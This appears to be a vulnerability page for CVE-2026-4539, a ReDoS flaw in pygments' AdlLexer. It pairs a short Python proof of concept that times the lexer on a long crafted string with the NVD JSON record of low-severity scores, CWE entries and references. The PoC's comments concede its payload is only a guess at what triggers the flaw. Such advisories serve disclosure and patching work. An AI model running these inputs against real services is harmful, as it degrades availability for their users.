CVE-2026-4539

import time from pygments.lexers import AdlLexer from pygments import highlight # PoC for CVE-2026-4539 # Demonstrates inefficient regex complexity in AdlLexer def exploit_poc(): # Constructing a payload likely to trigger ReDoS # Note: Actual payload depends on the specific regex pattern in AdlLexer malicious_input = "a" * 5000 + "(" + "b" * 5000 lexer = AdlLexer() print("Starting exploitation...") start = time.time() try: # Attempt to highlight the malicious input highlight(malicious_input, lexer, None) except Exception as e: print(f"Exception occurred: {e}") end = time.time() print(f"Execution time: {end - start:.4f} seconds") print("If time is significantly high, the system is vulnerable.") if __name__ == "__main__": exploit_poc()

{"cve": {"id": "CVE-2026-4539", "sourceIdentifier": "[email protected]", "published": "2026-03-22T06:16:20.913", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security flaw has been discovered in pygments up to 2.19.2. The impacted element is the function AdlLexer of the file pygments/lexers/archetype.py. The manipulation results in inefficient regular expression complexity. The attack is only possible with local access. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an issue report but has not responded yet."}, {"lang": "es", "value": "Una falla de seguridad ha sido descubierta en pygments hasta la versión 2.19.2. El elemento afectado es la función AdlLexer del archivo pygments/lexers/archetype.py. La manipulación resulta en una complejidad ineficiente de la expresión regular. El ataque solo es posible con acceso local. El exploit ha sido publicado y puede ser utilizado para ataques. El proyecto fue informado del problema tempranamente a través de un informe de problema, pero aún no ha respondido."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.9, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 1.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:L/AC:L/Au:S/C:N/I:N/A:P", "baseScore": 1.7, "accessVector": "LOCAL", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "PARTIAL"}, "baseSeverity": "LOW", "exploitabilityScore": 3.1, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-400"}, {"lang": "en", "value": "CWE-1333"}]}], "references": [{"url": "https://github.com/pygments/pygments/", "source": "[email protected]"}, {"url": "https://github.com/pygments/pygments/issues/3058", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.352327", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.352327", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.774685", "source": "[email protected]"}]}}